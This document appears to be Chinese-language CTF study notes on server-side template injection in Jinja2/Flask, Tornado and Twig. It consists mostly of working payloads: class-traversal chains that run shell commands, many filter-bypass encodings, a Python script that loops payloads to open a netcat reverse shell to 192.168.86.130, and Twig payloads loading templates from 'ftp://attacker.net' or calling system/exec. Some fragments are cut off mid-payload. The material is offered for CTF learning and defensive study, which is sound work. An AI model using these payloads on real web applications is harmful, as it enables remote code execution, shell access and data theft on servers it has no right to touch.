学习视频

判断模板类型

php常见模板:twig,smarty,blade
python常见的模板:Jinja2,tornado,Django
java常见的模板:FreeMarker,velocity

ssti漏洞成因

参考

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。


from flask import *
from jinja2 import *

app = Flask(__name__)

@app.route("/myan")

def index():
    name = request.args.get('name','guest')
    html = '''<h3> Hello %s'''%name
    return render_template_string(html)

if __name__ == "__main__":
        app.run(debug=True)

魔术方法

魔术方法 作用
__class__ 查找当前类型的所属对象
__base__ 沿着父子类的关系往上走一个
__mro__ 查找当前类对象的所有继承类
__subclasses__() 查找父类下的所有子类
__init__ 查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__ 函数会以字典的形式返回当前对象的全部全局变量
__getitem__() 对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。(代替中括号)

一个pyload例子:

{{().__class__.__base__.__subclasses__()[484].__init__.__globals__.os.popen('cat /flag').read()}}
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat /flag").read()}}

绕过

过滤双大括号

视频

{% %}使用介绍:

{%%}是属于flask的控制语句,且以{%end..%}结尾,可以通过在控制语句定义变量或者写循环,判断。

判断{{}}被过滤

尝试{% %}

判断语句能否正常执行

1 {% if 2>1 %}qwq{%endif%}
2 {% if "".__class__ %}qwq{%endif%}

3 "{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('cat /flag').read() %}qwq{%endif%}"

无回显ssti

反弹shell


import requests

url = 'http://192.168.86.133:780/flasklab/level/3' #input("url:")
for i in range(500):
    #data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    data={"code":"{% if ().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['popen']('netcat 192.168.86.130 7777 -e /bin/bash').read() %}qwq{%endif%}"}
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            #os.py
            if 'qwq' in response.text:
                print(i,"-->",data)
    except:
        pass

反弹:

nc -lvp 7777

引号过滤

使用request模块进行绕过,request模块在os._wrap_close中,可使用脚本查询

pyload:

http://192.168.86.133:780/flasklab/level/5?qwq=popen&cmd=cat /flag

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.qwq](request.args.cmd).read()}}

下划线过滤

过滤器绕过

过滤器

attr()绕过

attr主要用来防止 .过滤而不能获取对象属性


{{()|attr(request.args.qwq)}}



http://192.168.86.133:780/flasklab/level/6?class=__class__&base=__base__&subcl=__subclasses__&number=__getitem__&a=__init__&b=__globals__&c=__getitem__



code={{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subcl)()|attr(request.args.number)(117)|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)('popen')('cat /flag')|attr('read')()}}

编码绕过

形式和上面一样,只是经过了编码

unicode编码:

code={{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(117)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")('popen')('cat /flag')|attr('read')()}}


16位编码:

code={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat /flag').read()}}

base64编码和格式化字符串 绕过就不手打了,一定不是我懒(逃

点过滤

attr过滤

attr没有使用点和中括号

用中括号代替点

payload:


code={{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']()}}

关键字过滤

“+”拼接

使用+号拼接字符串

pyload:


{{()['__class__']}}---->{{()['__cla'+'ss__']}}

code={{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[117]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('cat /flag')['re'+'ad']()}}

jinjia2中的”~”拼接

在jinjia2中~可以拼接字符

payload:


{%set a='__cla'%}{%set b='ss__'%}{%set c='__in'%}{%set d='it__'%}{{()[a~b][c~d]}}

{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set j='bals__'%}{%set k='po'%}{%set l='pen'%}{{()[a~b][c~d][e~f]()[199][g~h][i~j]['os'][k~l]('cat /flag')['read']()}}

# 逆天payload

reverse逆转

payload:

{%set a="__ssalc__"|reverse%}{{()[a]}}

数字过滤

过滤器length

length过滤器用于返回字符串长度

{% set a='aaaaa'|length %}{{a}}        #10

{% set a='aaaaa'|length*'a'|length %}{{a}}          #30

混合过滤

过滤器dict()和join

join可以直接拼接键名


  {%set a=dict(__cla=a,ss__=a)|join%}{a}

获取符号

 {%set ben =({}|select()|string()|list)%}{{ben}}

当加上list就会变成列表就可以[8]等方式获得数据

过滤 ‘ “ + request . [ ]

code={% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}

主要是利用join拼接+addr绕过点,最后执行命令那要绕过单引号,就利用了上面获取符号例子里获取空格

过滤 ‘ “ _ 0-9 . [ ] \ 空格

{{lipsum|string|list}}

获取过滤的符号
再构造payload

{% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}

获取config

无过滤直接{{config}}就可以获取

当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串

flask内置函数

函数 作用
lipsum 可加载第三方库
url_for 可返回url路径
get_flashed_message 可获取消息

使用内置函数调用current_app模块进而查看配置文件
current_app可输出当前app(即flask)

payload:


{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

tornado模板中获取

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了

{{handler.settings}}

pin码计算

生成原理

  1. 获取用户名username
    ```
    import getpass

username=getpass.getuser()


2. 获取app对象name属性

默认为Flask

3.获取app对象module属性

默认为flask.app

4.获取app.py文件所在路径


5. uuid

6.get_machine_id获取

linux:cat /etc/machine-id

docker中还得cat /proc/self/cgroup把第一行的拼接上去

macOS: ioeg -c IOPlatformExpertDevice -d 2

windows:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid


# 练习 

[[安洵杯 2020]Normal SSTI](https://www.nssctf.cn/problem/910)

```python
url_black_list = ['%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e']
black_list = ['.', '[', ']', '{{', '=', '_', '\'', '""', '\\x', 'request', 'config', 'session', 'url_for', 'g',
              'get_flashed_messages', '*', 'for', 'if', 'format', 'list', 'lower', 'slice', 'striptags', 'trim',
              'xmlattr', 'tojson', 'set', '=', 'chr']

payload

http://node4.anna.nssctf.cn:28698/test
?url={%print(()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(137)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("popen")("\u0063\u0061\u0074\u0020\u002F\u0066\u006C\u0061\u0067")|attr("read")())%}

```
或者
`fenjing`一把梭

[[HNCTF 2022 WEEK3]ssssti](https://www.nssctf.cn/problem/3022)

过滤:_ ' " os 

```
1.
{% set xhx=((lipsum|string)[18])%}{% set kg=((lipsum|string)[9])%}{% set s=((lipsum|string)[27])%}{% set o=((lipsum|string)[7])%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set a=(o,s)|join%}{% set popen=dict(popen=a)|join %}{% set playload = (dict(cat=a)|join,kg,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{{lipsum|attr(globals)|attr(getitem)(a)|attr(popen)(playload)|attr(read)()}}

或者

{{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=tac f*

Twig模板注入

Twig 是一个灵活、快速、安全的 PHP 模板语言。它将模板编译成经过优化的原始 PHP 代码。Twig 拥有一个 Sandbox 模型来检测不可信的模板代码。Twig 由一个灵活的词法分析器和语法分析器组成,可以让开发人员定义自己的标签,过滤器并创建自己的 DSL。

过滤器

下面这个过滤器的例子会剥去字符串变量name中的 HTML 标签,然后将其转化为大写字母开头的格式:

{{ name|striptags|title }}

// {{ 'whoami'|striptags|title }}
// Output: Whoami!

下面这个过滤器将接收一个序列 list,然后使用 join 中指定的分隔符将序列中的项合并成一个字符串:

{{ list|join }}
{{ list|join(', ') }}

// {{ ['a', 'b', 'c']|join }}
// Output: abc

// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c

更多过滤器

Twig中,可以直接调用内置函数

{% for i in range(0, 3) %}
    {{ i }},
{% endfor %}

// Output: 0, 1, 2, 3,

更多内置函数

更多 Twig 的语法参考

全局变量

_self:引用当前模板名称;(在twig1.x和2.x/3.x作用不一)
_context:引用当前上下文;
_charset:引用当前字符集。

模板注入

Twig 1.x

三个全局变量

_self:引用当前模板的实例。
_context:引用当前上下文。
_charset:引用当前字符集。

在注入中主要运用_self变量,它会返回当前\Twig\Template实例,并提供了指向 Twig_Environmentenv 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行SSTI

比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

此外还有 getFilter 方法,其中含有call_user_func可通过传递参数到该函数调用php函数

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串

2.x&3.x

这俩版本_self作用和前一个版本不同,所以不能再用_self来注入

map过滤器

map所对应的函数如下

function twig_array_map($array $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v $k);
}
​
return $r;
}

我们可以看到,传入的$arrow直接就被当成函数执行,即$arrow($v, $k),而 $v$k分别是 $array中的 valuekey

所以$array$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce

经过查询,有如下几种常见命令执行函数

system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string

有两个参数的函数就上面三种,其对应payload

{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}}    // 无回显

但是当上面的都被ban了呢,我们还有没有其他方法rce

当然,例如

file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

当我们找到路径后就可以利用该函数进行写shell了

?name={{{"

sort过滤器

类似于map,sort在模板编译时也会进入twig_sort_filter函数


function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
​
if (null !== $arrow) {
uasort($array, $arrow);    // 直接被 uasort 调用
} else {
asort($array);
}
​
return $array;
}

可以看到,$array$arrow直接被uasort调用

uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce

payload

{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

filter过滤器

filter过滤器使用箭头函数过滤序列或映射的元素

类似于map,filter在模板编译时也会进入twig_array_filter函数

function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用
}
​
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
​

得到payload


{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 无回显
​
{{{"

reduce 过滤器

{% set numbers = [1, 2, 3] %}

{{ numbers|reduce((carry, v) => carry + v) }}

function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
​
return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}

array_reduce有三个参数

$array$arrow直接被 array_filter函数调用,我们可以利用该性质自定义一个危险函数从而达到rce

payload

{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显

一个好奇的人